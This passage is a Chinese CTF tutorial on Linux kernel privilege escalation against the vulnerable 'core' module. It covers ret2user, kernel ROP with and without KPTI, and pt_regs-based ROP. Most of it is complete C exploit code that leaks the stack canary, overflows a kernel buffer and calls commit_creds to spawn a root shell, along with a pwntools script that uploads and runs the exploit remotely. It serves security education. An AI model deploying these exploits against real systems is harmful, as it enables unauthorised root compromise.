printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
字符驱动设备
内核注册字符设备驱动设备时会用到file_operations结构体,file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容,结构体中的一些指针比如open() 、write() 、read() 、close() 等系统调用时最终会被内核调用,我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数,这样我们在类似read(dev_fd, buf, 0x100)时就会调用我们自定义的my_read函数。
它还有一个指针为unlocked_ioctl,我们在用户态时可以使用系统调用ioctl去访问控制内核注册的设备(ioctl系统调用号为0x10,由rax保存,需要注意的时,系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同,系统调用第四个传参寄存器为r10,即rdi,rsi,rdx,r10,r8,r9)。
动态调试
为了动态调试的方便一些,我们需要做以下工作:
(1)通过qemu append参数关闭 kaslr ,qemu提供了-s参数用于调试,默认端口为1234。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
(2)修改init脚本将权限调到 root。
...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...
(3)启动qemu,查看模块基地址。
/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)
(4)通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。
#!/bin/sh
gdb -q \
-ex "file ./core/vmlinux" \
-ex "file ./core/core.ko" \
-ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
-ex "target remote localhost:1234"
ret2user
顾名思义,即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
提权方式
这里只简单介绍两种朴素的方法,第一种是通过commit_creds(prepare_kernel_cred(0))去提权,不过这种方式已经过时了,不过这道题的内核版本支持这种方法提权,prepare_kernel_cred()会将拷贝一个新的cred凭证,参数为零默认拷贝init_cred,其具有root权限。commit_cred()负责应用到进程。
第二种是 commit_cred(&init_cred),原因是init_cred是静态定义的,我们只要找到init_cred地址便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部分符号,通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。
_DWORD *__fastcall prepare_kernel_cred(__int64 a1)
{
_DWORD *v1; // rbx
int *task_cred; // rbp
v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
if ( !v1 )
return 0LL;
if ( a1 )
{
task_cred = (int *)get_task_cred(a1);
}
else
{
_InterlockedIncrement(dword_FFFFFFFF8223D1A0);
task_cred = dword_FFFFFFFF8223D1A0; // init_cred
}
[......]
}
状态保存
通常情况下,我们的 exploit 需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:
gcc 编译时需要指定参数:-masm=intel。
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回用户态
由内核态返回用户态只需要:
swapgs指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序,其也用于恢复用户态 GS 寄存器。
sysretq或者iretq恢复到用户空间
那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。
执行 iretq 时的栈布局。
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:
↓ swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
利用思路
在未开启 SMAP/SMEP 保护(后面会讲解)的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,所以可以使用ret2user。题目给的vmlinux用于提取gadget可以,但使用IDA分析时太慢,可以用vmlinux-to-elf解压bzImage进行分析。
从 /tmp/kallsyms 读取符号地址,确认与nokaslr偏移,从vmlinux寻找gadget。
保存用户状态。
通过设置 off 读取 canary。
于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间,并执行 system("/bin/sh");。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell()
{
system("/bin/sh");
}
void get_root() {
commit_creds(init_cred);
// commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov rsp, tf_addr;"
"iretq;");
}
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
tf.user_rip = (size_t) get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
/* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(0x40);
char buf[0x40];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
save_status();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(void **) &buf[0x50] = get_root; // 覆盖返回地址
core_write(buf, sizeof(buf));
// jg 有符号判断,判其为负数,qmemcpy() 第三个参数取其后16位,导致溢出。
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
编译exp时需要注意,本机环境编译的exp可能无法与题目环境交互,需要使用musl-gcc或者相应版本的docker进行编译,musl-gcc有一些库不支持,但大部分情况下都是可以的。
打包脚本
本题提供了打包脚本,可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果没提供可以使用以下命令打包。
find . | cpio -o -H newc > ../rootfs.imgs
打包完成后,改回题目环境,运行脚本测试即可。发送至远程可以使用以下脚本:
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ quot;)
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ quot;)
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
调试
可以看到add rsp, 0x48;pop rbx后,ret指令正好执行我们用户空间的提权代码。
kernel rop without KPIT
开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。
添加 smep 和 smap 保护。
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap
smep:
Supervisor Mode Execution Protection(管理模式执行保护),当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)
smap:
Superivisor Mode Access Protection(管理模式访问保护),类似于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。
利用思路
从 /tmp/kallsyms 读取符号地址,确认与nokaslr偏移,从vmlinux寻找gadget。
保存用户状态。
通过设置 off 读取 canary。
于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
通过 swapgs; popfq; ret; ,iretq 返回用户空间,并执行 system("/bin/sh");。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由于找不到 mov rdi, rax; ret; 这条 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
* 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
* (2)如果使用 commit_creds(init_cred);
* 则只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
rop[it++] = pop_rcx_ret;
// rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop with KPIT
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
KPTI:
kernel page-table isolation,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同,所以如果使用 ret2user或内核执行ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
利用思路
比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA pop r15
.text:FFFFFFFF81A008DC pop r14
.text:FFFFFFFF81A008DE pop r13
.text:FFFFFFFF81A008E0 pop r12
.text:FFFFFFFF81A008E2 pop rbp
.text:FFFFFFFF81A008E3 pop rbx
.text:FFFFFFFF81A008E4 pop r11
.text:FFFFFFFF81A008E6 pop r10
.text:FFFFFFFF81A008E8 pop r9
.text:FFFFFFFF81A008EA pop r8
.text:FFFFFFFF81A008EC pop rax
.text:FFFFFFFF81A008ED pop rcx
.text:FFFFFFFF81A008EE pop rdx
.text:FFFFFFFF81A008EF pop rsi
/*
* 我们再利用时直接跳到这里即可,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
.text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
.text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
.text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
.text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
.text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B push qword ptr [rdi]
.text:FFFFFFFF81A0090D push rax
.text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953 pop rax
.text:FFFFFFFF81A00954 pop rdi
.text:FFFFFFFF81A00955 swapgs
.text:FFFFFFFF81A00958 jmp native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980 test [rsp+arg_18], 4
.text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989 push rdi
.text:FFFFFFFF81A0098A swapgs
.text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
.text:FFFFFFFF81A009AA mov [rdi], rax
.text:FFFFFFFF81A009AD mov rax, [rsp+8]
.text:FFFFFFFF81A009B2 mov [rdi+8], rax
.text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB mov [rdi+10h], rax
.text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4 mov [rdi+18h], rax
.text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD mov [rdi+28h], rax
.text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6 mov [rdi+20h], rax
.text:FFFFFFFF81A009DA and eax, 0FFFF0000h
.text:FFFFFFFF81A009DF or rax, gs:qword_F008
.text:FFFFFFFF81A009E8 push rax
.text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E pop rax
.text:FFFFFFFF81A00A2F swapgs
.text:FFFFFFFF81A00A32 pop rdi
.text:FFFFFFFF81A00A33 mov rsp, rax
.text:FFFFFFFF81A00A36 pop rax
.text:FFFFFFFF81A00A37 jmp native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
// 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret;
rop[it++] = pop_rcx_ret;
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
利用 pt_regs 构造 rop
qemu启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
查看entry_SYSCALL_64 这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs结构体,该结构体实质上位于内核栈底,https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/ptrace.h#L44如下:
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
内核栈只有一个页面的大小,而 pt_regs 结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start),在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保留,以便后续写入gadget。
KPTI pass:使用 seq_operations + pt_regs
结构体 seq_operations 的条目如下:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 结构体
当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,然后调用 seq_operations->start 函数指针
利用思路
这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func 函数的返回处下断点。
__asm__(
"mov r15, 0x1111111111111111;"
"mov r14, 0x2222222222222222;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0050;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
数字没变的寄存器就是我们能够控制的,可以被我们用来写 gadget。
0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r15
0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
11:0088│ 0xffffc90000113f88 ◂— 0x207
12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
新版本内核对抗利用 pt_regs 进行攻击的办法
内核主线在 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eea2647e74cd7bd5d04861ce55fa502de165de14 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值:
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset + 8;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
